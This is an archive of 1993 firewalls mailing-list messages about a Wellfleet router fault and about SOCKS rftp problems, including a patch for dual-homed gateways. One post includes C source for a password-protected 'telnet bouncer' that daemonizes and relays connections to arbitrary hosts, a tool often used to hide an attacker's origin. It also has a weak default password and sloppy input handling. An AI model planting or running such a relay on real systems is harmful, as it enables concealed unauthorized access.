From Firewalls-Owner Wed Sep 1 01:29:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00808; Wed, 1 Sep 93 01:29:59 GMT Received: from extra.ucc.su.OZ.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00801; Tue, 31 Aug 93 18:29:46 PDT Received: from extro.ucc.su.OZ.AU by extra.ucc.su.OZ.AU with SMTP id AA07801 (5.65c/IDA-1.4.4 for ); Wed, 1 Sep 1993 11:20:12 +1000 From: Matthew Hannigan Message-Id: <199309010120.AA07801@extra.ucc.su.OZ.AU> To: chk@alias.com (C. Harald Koch), dep@scr.siemens.com (David Post), tmullen@aigtc.com (Tom Mullen), pascoe@rocky.tntn.gtegsc.com (Dave Pascoe), johns@oxygen.house.gov (John Schnizlein), lschnack@qualcomm.com (Larry Schnack), stuart@mtb.phil.mop.com (Stuart Myles) Cc: firewalls@GreatCircle.COM Subject: how to subscribe to drp-l, the Disaster Recovery Plan List In-Reply-To: Your message of "Tue, 31 Aug 93 15:14:17 -0400." <9308311814.AA18970@dino.alias.com> Date: Wed, 01 Sep 93 11:19:59 +1000 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have a had a few queries to this, so I'm doing a mass-reply plus a copy to the firewalls list. To subscribe to drp-l, send a message to listserv@vm.marist.edu with the following line in the body of the message. subscribe drp-l I think the address drp-l-request@vm.marist.edu works as well. It's mainframe/administrative computer centric, but fairly low volume mailing list. They have back archives available which have some good stuff. -Matt From Firewalls-Owner Wed Sep 1 05:44:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01740; Wed, 1 Sep 93 05:44:02 GMT Received: from sleet.fit.qut.edu.au. by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01733; Tue, 31 Aug 93 22:43:53 PDT Received: from localhost (meilak@localhost) by sleet.fit.qut.edu.au. (8.5/8.3) id BAA27812; Wed, 1 Sep 1993 01:46:15 -0400 From: Mr Brian Meilak Message-Id: <199309010546.BAA27812@sleet.fit.qut.edu.au.> Subject: Wellfleet router problems To: firewalls@GreatCircle.COM Date: Wed, 1 Sep 93 15:46:14 EST X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk hi all, A question for fellow wellfleet users I have an interesting problem with one network attached to a wellfleet. This network supports student class rooms. Whenever this network is temporarily disconnect(broken, usually by students watching the packets drop to the floor!) and reconnected, the network becomes dead (nothing in or out). It appears that the wellfleet drops its access to the network. We dont seem to have this problem with our other networks hanging off the wellfleet. The only solution we have found so far is to reboot the wellfleet. Any suggestions? thanks bjm ============================================================================ Brian Meilak Senior Systems Programmer _--_|\ Information Technology Building / QUT Room 616 \_.--._/ Phone: +61 7 864-2757 v AARnet meilak@fitmail.fit.qut.edu.au Faculty of Information Technology ARPA: meilak@qut.edu.au Queensland University of Technology, Box 2434, Brisbane 4001, AUSTRALIA Phone: +61 7 864-2132 Fax: 864-1801 ============================================================================ From Firewalls-Owner Wed Sep 1 15:13:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03104; Wed, 1 Sep 93 15:13:26 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03097; Wed, 1 Sep 93 08:13:19 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21224; Wed, 1 Sep 93 11:15:07 -0400 Received: from posc.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 111317.2408; Wed, 1 Sep 1993 11:13:17 EDT Received: from sys14.posc.org by posc.org (4.1/SMI-4.1) id AA28112; Wed, 1 Sep 93 09:43:55 CDT Date: Wed, 1 Sep 93 09:43:55 CDT From: posc!waddell@uunet.UU.NET (David Waddell) Message-Id: <9309011443.AA28112@posc.org> To: firewalls@GreatCircle.COM Subject: Socks failing with rftp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Does anyone know why rftp is failing from the socks.cstc.4.0 release. All the other commands are fine. When I try to do anything such as ls, dir, or try to ftp a file, I get: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. 425 Can't build data connection: Connection timed out. I am running SunOS 4.1.3 on a Sun IPC connecting to a Sun IPX firewall. Thanks Dave Waddell From Firewalls-Owner Wed Sep 1 16:06:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03314; Wed, 1 Sep 93 16:06:56 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03307; Wed, 1 Sep 93 09:06:47 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA17887; Wed, 1 Sep 93 12:09:11 -0400 Received: from rde.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 120748.3895; Wed, 1 Sep 1993 12:07:48 EDT Received: from homebase.vistachrome.com by cyan.vistachrome.com (4.1/SMI-4.1) id AA04802; Wed, 1 Sep 93 11:46:02 EDT Received: by homebase.vistachrome.com (5.65/1.35) id AA28295; Wed, 1 Sep 93 11:48:39 -0400 From: andy@homebase.vistachrome.com (Andy Finkenstadt) Message-Id: <9309011548.AA28295@homebase.vistachrome.com> Subject: Morningstar Router used for Frame Relay PSI Offer To: firewalls@GreatCircle.COM Date: Wed, 1 Sep 1993 11:48:39 -0400 (EDT) X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 613 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Just how secure is it? I would imagine that it is, since they also offer an encryption option, but for our DMZ/Internet connection we are forsaking security in the first place. Andy -- Andrew Finkenstadt | andy@{homes.com,vistachrome.com,genie.geis.com} Systems Analyst | Vista-Chrome, Homes & Land Publishing Corporation | 1600 Capital Circle SW, Tallahassee Florida 32310 +1 904-575-0189 | GEnie Postmaster, Unix & Internet RoundTables Sysop "A meeting of the Time Traveller's Association will be held two weeks ago from tomorrow. All eligible members welcome to attend." From Firewalls-Owner Wed Sep 1 17:12:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03503; Wed, 1 Sep 93 17:12:14 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03496; Wed, 1 Sep 93 10:11:58 PDT Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA06307(telemann.inoc.dl.nec.com); Wed, 1 Sep 93 12:14:22 CDT Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA15835(texas.syl.dl.nec.com); Wed, 1 Sep 93 12:14:20 CDT Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA01411(florida.syl.dl.nec.com); Wed, 1 Sep 93 12:14:18 CDT Date: Wed, 1 Sep 93 12:14:18 CDT From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9309011714.AA01411@florida.syl.dl.nec.com> To: Firewalls@GreatCircle.COM, posc!waddell@uunet.uu.net Subject: Re: Socks failing with rftp Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Does anyone know why rftp is failing from the socks.cstc.4.0 release. All the >other commands are fine. When I try to do anything such as ls, dir, or try to >ftp a file, I get: >230 Guest login ok, access restrictions apply. >Remote system type is UNIX. >Using binary mode to transfer files. >ftp> ls >200 PORT command successful. >425 Can't build data connection: Connection timed out. My guess is that your SOCKS server is multi-homed (i.e., directly connected to more than one network) and has its IP forwarding turned off. My personal preference, as well as that of SOCKS's, is not to fool with multi-homed servers (which are almost always a pain to deal with) or IP forwarding, but use a single-homed server and let the router(s) do all necessary packet filtering. Unfortunately there seem to be quite a few sites using multi-homed hosts for SOCKS servers. For people using dual-homed servers, the enclosed ptach by Rob Nagler should be easily adaptable for your use. People using servers with more than two interfaces will have to do a bit more coding to get things to work. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com P.S. The patch is also available for anonynous ftp on host ftp.inoc.dl.nec.com, file pub/security/socks.cstc.4.0.dualhomed.patch. It's an Ascii text file. =================================================================== >From nagler@olsen.CH Wed Aug 18 10:51:59 1993 Date: Wed, 18 Aug 93 17:25:01 +0200 From: nagler@olsen.ch (Rob Nagler) Message-Id: <9308181525.AA29001@metical.olsen> To: ylee@syl.dl.nec.com Subject: Socks Patch Status: R Thanks for your work on Socks. In trying to get it running at our site, I ran into a small problem. Rbind assumes that there is one internet address visible from both sides of the server. Our server is dual-homed, but it doesn't advertise its routes. The Internet side of the server is protected by a screening router. As a result, rftp didn't work. The following patch fixes the problem. Thanks again for your efforts. Socks is a great package! Rob nagler@olsen.ch Olsen & Associates AG Tel: +411 386 4848 Seefeldstrasse 233 Fax: +411 422 2282 CH-8008 Zurich [rest deleted] ------------------------------------------------------------------------ >From nagler@olsen.CH Fri Aug 20 11:35:05 1993 Date: Fri, 20 Aug 93 11:13:11 +0200 From: nagler@olsen.ch (Rob Nagler) Message-Id: <9308200913.AA02010@metical.olsen> To: ylee@syl.dl.nec.com Subject: Re: Socks Patch Status: R > Thanks. Blush... The patch I sent you doesn't work. The following patch is correct. If you already merged in the old patch, just delete the line: 153a154 > SocksInetHost = SocksHost; Sorry for the trouble. ====================================================================== #!/bin/sh # # This is a shar (shell archive) file. # In order to extract the contents of this archive, remove everything # above the "#!/bin/sh" line. Then execute the remaining file with # /bin/sh. The following file(s) will be extracted: # Rconnect.c-patch # socks.h-patch # # # This archive was generated on Fri Aug 20 11:08:51 MET DST 1993 # # PATH=/bin:/usr/bin:/usr/ucb ; export PATH if [ -f 'Rconnect.c-patch' -a "${1}" != "-c" ] ; then echo shar: Won\'t overwrite existing file "Rconnect.c-patch" exit 2 fi echo x - Rconnect.c-patch sed -e 's/^X//' > Rconnect.c-patch << '---END-OF-Rconnect.c-patch---' X*** lib/Rconnect.c Fri Aug 20 10:54:10 1993 X--- lib/Rconnect.c-dist Tue Aug 17 14:57:00 1993 X*************** X*** 15,22 **** X extern int errno; X extern char *getenv(); X static struct sockaddr_in cursin; X! static unsigned long SocksHost; /* Safe side of the firewall */ X! static unsigned long SocksInetHost; /* Internet side of net */ X u_short socks_port; X u_short socks_conn_port = 0; X X--- 15,21 ---- X extern int errno; X extern char *getenv(); X static struct sockaddr_in cursin; X! static unsigned long SocksHost; X u_short socks_port; X u_short socks_conn_port = 0; X X*************** X*** 82,90 **** X static char defaultNS[] = SOCKS_DEFAULT_NS; X #endif X static char defaultSERVER[] = SOCKS_DEFAULT_SERVER; X- #ifdef SOCKS_DEFAULT_INET_SERVER X- static char defaultINETSERVER[] = SOCKS_DEFAULT_INET_SERVER; X- #endif X char *cp, *ns = (char *)0; X struct hostent *hp; X struct servent *sp; X--- 81,86 ---- X*************** X*** 119,153 **** X _res.nscount = 1; X } X X- /* Get INET side first, because "ns" is used in a user msg below */ X- if ((cp = getenv("SOCKS_INET_SERVER")) == NULL) { X- #ifdef SOCKS_DEFAULT_INET_SERVER X- ns = defaultINETSERVER; X- #else X- ns = defaultSERVER; X- #endif X- } else { X- ns = cp; X- } X- if ((hp = gethostbyname(ns)) == NULL) { X- if ((SocksInetHost = inet_addr(ns)) < 0) { X- fprintf(stderr, "Unable to map SOCKS INET server %s\n",ns); X- return(1); X- } X- } else { X- bcopy(hp->h_addr_list[0], &SocksInetHost, hp->h_length); X- } X- X if ((cp = getenv("SOCKS_SERVER")) == NULL) { X ns = defaultSERVER; X } else { X ns = cp; X } X if ((hp = gethostbyname(ns)) == NULL) { X! if ((SocksHost = inet_addr(ns)) < 0) { X! fprintf(stderr, "Unable to map SOCKS server %s\n",ns); X! return(1); X! } X } else { X bcopy(hp->h_addr_list[0], &SocksHost, hp->h_length); X } X--- 115,128 ---- X _res.nscount = 1; X } X X if ((cp = getenv("SOCKS_SERVER")) == NULL) { X ns = defaultSERVER; X } else { X ns = cp; X } X+ X if ((hp = gethostbyname(ns)) == NULL) { X! SocksHost = inet_addr(ns); X } else { X bcopy(hp->h_addr_list[0], &SocksHost, hp->h_length); X } X*************** X*** 237,243 **** X X cursin.sin_family = AF_INET; X cursin.sin_port = dst.port; X! cursin.sin_addr.s_addr = SocksInetHost; X X return (check_result(dst.cmd)); X } X--- 212,218 ---- X X cursin.sin_family = AF_INET; X cursin.sin_port = dst.port; X! cursin.sin_addr.s_addr = SocksHost; X X return (check_result(dst.cmd)); X } ---END-OF-Rconnect.c-patch--- LEN=`wc -c < Rconnect.c-patch` if [ $LEN != 2510 ] ; then echo shar: File "Rconnect.c-patch" was $LEN, should have been 2510 bytes fi if [ -f 'socks.h-patch' -a "${1}" != "-c" ] ; then echo shar: Won\'t overwrite existing file "socks.h-patch" exit 2 fi echo x - socks.h-patch sed -e 's/^X//' > socks.h-patch << '---END-OF-socks.h-patch---' X*** include/socks.h Wed Aug 18 11:54:41 1993 X--- include/socks.h-dist Fri Aug 6 18:23:33 1993 X*************** X*** 3,18 **** X * This is overridden at run time by the contents of environment X * variable SOCKS_SERVER if it exists. X */ X! #define SOCKS_DEFAULT_SERVER "internet" X! X! /* X! * Default SOCKS server host address as seen from the Internet. Leave X! * it undefined if your gateway only has one internet address or it X! * advertises a route to SOCKS_DEFAULT_SERVER to the Internet. This X! * is overridden at run time by the contents of environment variable X! * SOCKS_INET_SERVER if it exists. X! */ X! #define SOCKS_DEFAULT_INET_SERVER "internet-dmz" X X /* X * Default Domain Nameserver for the SOCKS clients. X--- 3,9 ---- X * This is overridden at run time by the contents of environment X * variable SOCKS_SERVER if it exists. X */ X! #define SOCKS_DEFAULT_SERVER "SOCKS.server.for.your.site" X X /* X * Default Domain Nameserver for the SOCKS clients. ---END-OF-socks.h-patch--- LEN=`wc -c < socks.h-patch` if [ $LEN != 979 ] ; then echo shar: File "socks.h-patch" was $LEN, should have been 979 bytes fi exit 0 From Firewalls-Owner Wed Sep 1 17:58:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03667; Wed, 1 Sep 93 17:58:49 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03660; Wed, 1 Sep 93 10:58:41 PDT Received: by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA23869; Wed, 1 Sep 93 13:01:00 CDT Date: Wed, 1 Sep 93 13:01:00 CDT From: jim@tadpole.com (Jim Thompson) Message-Id: <9309011801.AA23869@tadpole.Tadpole.COM> To: Firewalls@GreatCircle.COM, posc!waddell@uunet.uu.net, ylee@syl.dl.nec.com Subject: Re: Socks failing with rftp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Geez. I just always had Iftp/Itelnet bind() to the address of the 'inside' interface. Jim From Firewalls-Owner Wed Sep 1 23:17:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04793; Wed, 1 Sep 93 23:17:37 GMT Received: from das.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04786; Wed, 1 Sep 93 16:17:07 PDT Received: from elf.wang.com by das.wang.com with SMTP id AA29771 (5.65c/IDA-1.5 for ); Wed, 1 Sep 1993 19:18:35 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA13852 (5.65c/IDA-1.5); Wed, 1 Sep 1993 19:17:46 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA01573; Wed, 1 Sep 1993 19:17:41 -0400 From: Tom Fitzgerald Message-Id: <199309012317.AA01573@fnord.wang.com> Subject: Re: Socks failing with rftp To: ylee@syl.dl.nec.com (Ying-Da Lee) Date: Wed, 1 Sep 93 19:17:40 EDT Cc: Firewalls@GreatCircle.COM, posc!waddell@uunet.uu.net In-Reply-To: <9309011714.AA01411@florida.syl.dl.nec.com>; from "Ying-Da Lee" at Sep 1, 93 12:14 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > My guess is that your SOCKS server is multi-homed (i.e., directly > connected to more than one network) and has its IP forwarding > turned off. This shouldn't make any difference.... a multihomed host will always accept packets addressed to any of its local interfaces, even if they're received via other interfaces and IP forwarding is turned off. That's what we do here, and it works fine. You do need to advertise both networks on both sides of the multihomed host. (This is worth doing anyway, for the sake of DNS sanity and user convenience.) > My personal preference, as well as that of SOCKS's, is not to fool > with multi-homed servers (which are almost always a pain to deal > with) or IP forwarding, but use a single-homed server and let the > router(s) do all necessary packet filtering. I think it works fine. Using a singly-homed server means that either 1) you have a single router and less security, or 2) you're willing to buy an extra router, but get no additional security. -- Tom Fitzgerald Wang Labs fitz@wang.com "I went to the universe today; 1-508-967-5278 Lowell MA, USA It was closed...." From Firewalls-Owner Wed Sep 1 23:40:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04836; Wed, 1 Sep 93 23:40:44 GMT Received: from sleet.fit.qut.edu.au. by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04829; Wed, 1 Sep 93 16:40:33 PDT Received: from localhost (meilak@localhost) by sleet.fit.qut.edu.au. (8.5/8.3) id TAA04033; Wed, 1 Sep 1993 19:43:02 -0400 From: Mr Brian Meilak Message-Id: <199309012343.TAA04033@sleet.fit.qut.edu.au.> Subject: Re: Wellfleet router problems - more info To: firewalls@GreatCircle.COM Date: Thu, 2 Sep 93 9:43:01 EST In-Reply-To: X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk hi all, This is a repost of a previous request for advice with some more info such as model no, software version. > > A question for fellow wellfleet users > > I have an interesting problem with one network attached to a wellfleet. > This network supports student class rooms. > > Whenever this network is temporarily disconnect(broken, usually by students > watching the packets drop to the floor!) and reconnected, the network > becomes dead (nothing in or out). It appears that the wellfleet drops its > access to the network. > > We dont seem to have this problem with our other networks hanging off the > wellfleet. The only solution we have found so far is to reboot the wellfleet. > > > Any suggestions? > thanks additional info: router model: No.2002, Link Node Base Unit software Ver: V5.71 Jan 14 1992 Circuit types: all ethernet thanks bjm ============================================================================ Brian Meilak Senior Systems Programmer _--_|\ Information Technology Building / QUT Room 616 \_.--._/ Phone: +61 7 864-2757 v AARnet meilak@fitmail.fit.qut.edu.au Faculty of Information Technology ARPA: meilak@qut.edu.au Queensland University of Technology, Box 2434, Brisbane 4001, AUSTRALIA Phone: +61 7 864-2132 Fax: 864-1801 ============================================================================ From Firewalls-Owner Thu Sep 2 03:31:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05662; Thu, 2 Sep 93 03:31:16 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05655; Wed, 1 Sep 93 20:30:55 PDT Received: by coombs.anu.edu.au (1.37.109.4/16.2) id AA26056; Thu, 2 Sep 93 13:30:55 +1000 From: Mark To: firewalls@GreatCircle.COM Path: coombs.anu.edu.au!mark Date: 2 Sep 93 03:21:02 GMT Message-Id: Newsgroups: alt.sources Subject: general purpose telnet bouncer. Organisation: Wassat?! Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Several people have expressed interest in a utility such as this. It's existed for several years but Ive recently decided to fix it up into a releasable condition. Share and enjoy. flames to /dev/null Mark mark@cairo.anu.edu.au ---------------------- cut here ---------------------------- /* Name: ts2.c */ /* Author: Hal-9000, Richard Stevens, Xanadude, Avalon, Mark */ /* Distribution: Public */ /* Copyright: Held by the respective contributors */ /* Posted to USENET 1st September '93 by Mark mark@cairo.anu.edu.au */ /* This file was telserv.c, part of the Telnet Server package v. 1.0, written by "Hal-9000". Much of that package was developed by Richard Stephens and his thanks go to "Xanadude" for providing him with that section. Performance fix by Darren Reed. */ /* Reworked to add concurrency, password checking and destination selection on the fly. - Mark 31st Aug 93 Compiled and tested on: HPUX 9.01 9000/700 series NeXTStep 3.1 NeXT 68040 OSx Pyramid 90x BSD universe SunOS 5.2 sun4c Ultrix 4.3 DEC RISC To compile, type "cc -O -s ts2.c -o ts2". MY_PASSWORD and SERV_TCP_PORT are all that is required to be altered. */ #define MY_PASSWORD "pass" #define SERV_TCP_PORT 12345 /* port I'll listen for connections on */ #include #include #include #include #include #include #include #include #include #include #include #include #define QLEN 5 char sbuf[2048], cbuf[2048]; extern int errno; extern char *sys_errlist[]; void reaper(); int main(); void telcli(); int main(argc, argv) int argc; char *argv[]; { int srv_fd, rem_fd, rem_len, opt = 1; struct sockaddr_in rem_addr, srv_addr; bzero((char *) &rem_addr, sizeof(rem_addr)); bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); srv_addr.sin_port = htons(SERV_TCP_PORT); srv_fd = socket(PF_INET, SOCK_STREAM, 0); if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) { perror("bind"); exit(-1); } listen(srv_fd, QLEN); close(0); close(1); close(2); #ifdef TIOCNOTTY if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) { ioctl(rem_fd, TIOCNOTTY, (char *)0); close(rem_fd); } #endif if (fork()) exit(0); while (1) { rem_len = sizeof(rem_addr); rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len); if (rem_fd < 0) { if (errno == EINTR) continue; exit(-1); } switch(fork()) { case 0: /* child process */ close(srv_fd); /* close original socket */ telcli(rem_fd); /* process the request */ close(rem_fd); exit(0); break; default: close(rem_fd); /* parent process */ if (fork()) exit(0); /* let init worry about children */ break; case -1: fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]); break; } } } void telcli(source) int source; { int dest; int found; struct sockaddr_in sa; struct hostent *hp; struct servent *sp; char gethost[100]; char getport[100]; char string[100]; bzero(gethost, 100); sprintf(string, "Password: "); write(source, string, strlen(string)); read(source, gethost, 100); gethost[(strlen(gethost)-2)] = '\0'; /* kludge alert - kill the \r\n */ if (strcmp(gethost, MY_PASSWORD) != 0) { sprintf(string, "Wrong password, got %s.\n", gethost); write(source, string, strlen(string)); close(source); exit(0); } do { found = 0; bzero(gethost,100); sprintf(string, "Host: "); write(source, string, strlen(string)); read(source, gethost, 100); gethost[(strlen(gethost)-2)] = '\0'; hp = gethostbyname(gethost); if (hp) { found++; #if !defined(h_addr) /* In 4.3, this is a #define */ #if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX) memcpy((caddr_t)&sa.sin_addr, hp->h_addr_list[0], hp->h_length); #else bcopy(hp->h_addr_list[0], &sa.sin_addr, hp->h_length); #endif #else /* defined(h_addr) */ #if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX) memcpy((caddr_t)&sa.sin_addr, hp->h_addr, hp->h_length); #else bcopy(hp->h_addr, &sa.sin_addr, hp->h_length); #endif #endif /* defined(h_addr) */ sprintf(string, "Found address for %s\n", hp->h_name); write(source, string, strlen(string)); } else { if (inet_addr(gethost) == -1) { found = 0; sprintf(string, "Didnt find address for %s\n", gethost); write(source, string, strlen(string)); } else { found++; sa.sin_addr.s_addr = inet_addr(gethost); } } } while (!found); sa.sin_family = AF_INET; sprintf(string, "Port: "); write(source, string, strlen(string)); read(source, getport, 100); gethost[(strlen(getport)-2)] = '\0'; sa.sin_port = htons((unsigned) atoi(getport)); if (sa.sin_port == 0) { sp = getservbyname(getport, "tcp"); if (sp) sa.sin_port = sp->s_port; else { sprintf(string, "%s: bad port number\n", getport); write(source, string, strlen(string)); return; } } sprintf(string, "Trying %s...\n", (char *) inet_ntoa(sa.sin_addr)); write(source, string, strlen(string)); if ((dest = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("telcli: socket"); exit(1); } connect(dest, (struct sockaddr *) &sa, sizeof(sa)); sprintf(string, "Connected to %s port %d...\n", inet_ntoa(sa.sin_addr), ntohs(sa.sin_port)); write(source, string, strlen(string)); #ifdef FNDELAY fcntl(source,F_SETFL,fcntl(source,F_GETFL,0)|FNDELAY); fcntl(dest,F_SETFL,fcntl(dest,F_GETFL,0)|FNDELAY); #else fcntl(source,F_SETFL,O_NDELAY); fcntl(dest,F_SETFL,O_NDELAY); #endif communicate(dest,source); close(dest); exit(0); } communicate(sfd,cfd) { char *chead, *ctail, *shead, *stail; int num, nfd, spos, cpos; extern int errno; fd_set rd, wr; chead = ctail = cbuf; cpos = 0; shead = stail = sbuf; spos = 0; while (1) { FD_ZERO(&rd); FD_ZERO(&wr); if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd); if (ctail > chead) FD_SET(sfd, &wr); if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd); if (stail > shead) FD_SET(cfd, &wr); nfd = select(256, &rd, &wr, 0, 0); if (nfd <= 0) continue; if (FD_ISSET(sfd, &rd)) { num=read(sfd,stail,sizeof(sbuf)-spos); if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num==0) return; if (num>0) { spos += num; stail += num; if (!--nfd) continue; } } if (FD_ISSET(cfd, &rd)) { num=read(cfd,ctail,sizeof(cbuf)-cpos); if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num==0) return; if (num>0) { cpos += num; ctail += num; if (!--nfd) continue; } } if (FD_ISSET(sfd, &wr)) { num=write(sfd,chead,ctail-chead); if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num>0) { chead += num; if (chead == ctail) { chead = ctail = cbuf; cpos = 0; } if (!--nfd) continue; } } if (FD_ISSET(cfd, &wr)) { num=write(cfd,shead,stail-shead); if ((num==-1) && (errno != EWOULDBLOCK)) return; if (num>0) { shead += num; if (shead == stail) { shead = stail = sbuf; spos = 0; } if (!--nfd) continue; } } } } ----------- end of file ------ cut here ------- From Firewalls-Owner Thu Sep 2 12:57:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07119; Thu, 2 Sep 93 12:57:07 GMT Received: from mail-relay (mail-relay.olsen.ch) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07112; Thu, 2 Sep 93 05:56:58 PDT Received: from rouble.olsen.ch by mail-relay with smtp (Smail3.1.28.1 #7) id m0oYE1w-0003TlC; Thu, 2 Sep 93 14:44 MET DST Received: from metical.olsen.ch by rouble.olsen.ch (4.1/SMI-4.1) id AA09410; Thu, 2 Sep 93 14:44:14 +0200 Received: by metical.olsen.ch (4.1/SMI-4.1) id AA17201; Thu, 2 Sep 93 14:44:13 +0200 Date: Thu, 2 Sep 93 14:44:13 +0200 From: nagler@olsen.ch (Rob Nagler) Message-Id: <9309021244.AA17201@metical.olsen.ch> To: Firewalls@GreatCircle.COM Subject: Re: Socks failing with rftp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tom Fitzgerald writes: > This shouldn't make any difference.... a multihomed host will always > accept packets addressed to any of its local interfaces, There are two other factors which compound the problem: static routing on the application gateway and a screening router. Our internal net is neither advertised nor reachable. > You do need to advertise both networks on both sides of the > multihomed host. (This is worth doing anyway, for the sake of DNS > sanity and user convenience.) We don't. DNS works fine and not a peep from our users. Brent Chapman's note on on 20May93 entitled "DNS in Firewalled Environment" explains the gory details. We don't have any problems with FTP rejects, because the FTP connection is seen as coming from our application-gateway (internet side) thanks to SOCKS. ylee@syl.dl.nec.com (Ying-Da Lee) writes: > My personal preference, as well as that of SOCKS's, is not to fool > with multi-homed servers We need a Kryptonite shell to protect our liquid center. This is why we use a "screened subnet" configuration. Any component of our firewall is (hopefully) sufficient to protect our internal network. We change the configuration of one and only one component at a time. The cost of solution is miniscule in comparison to the protection it provides. From Firewalls-Owner Thu Sep 2 15:49:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07471; Thu, 2 Sep 93 15:49:46 GMT Received: from netcom3.netcom.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07463; Thu, 2 Sep 93 08:49:40 PDT Received: by netcom3.netcom.com (5.65/SMI-4.1/Netcom) id AA06107; Thu, 2 Sep 93 08:52:19 -0700 Date: Thu, 2 Sep 93 08:52:19 -0700 From: koblas@netcom.com (David Koblas) Message-Id: <9309021552.AA06107@netcom3.netcom.com> To: Firewalls@GreatCircle.COM Subject: Re: Socks failing with rftp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >ylee@syl.dl.nec.com (Ying-Da Lee) writes: >> My personal preference, as well as that of SOCKS's, is not to fool >> with multi-homed servers Socks never thought about multi-homing since I could never prove it secure. Everything that ran on the firewall was hand audited, except the kernel. It should be a config file change, to say "visible-port lo0" or some such thing. --koblas@netcom.com From Firewalls-Owner Fri Sep 3 20:33:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00720; Fri, 3 Sep 93 20:33:15 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA00713; Fri, 3 Sep 93 13:33:07 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA09654; Fri, 3 Sep 93 16:34:21 -0400 Received: from uworld.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 163303.24881; Fri, 3 Sep 1993 16:33:03 EDT Reply-To: crow!rik@uunet.UU.NET Received: by crow.spirit.com (4.1/SMI-4.1) id AA02567; Fri, 3 Sep 93 12:45:40 MST Date: 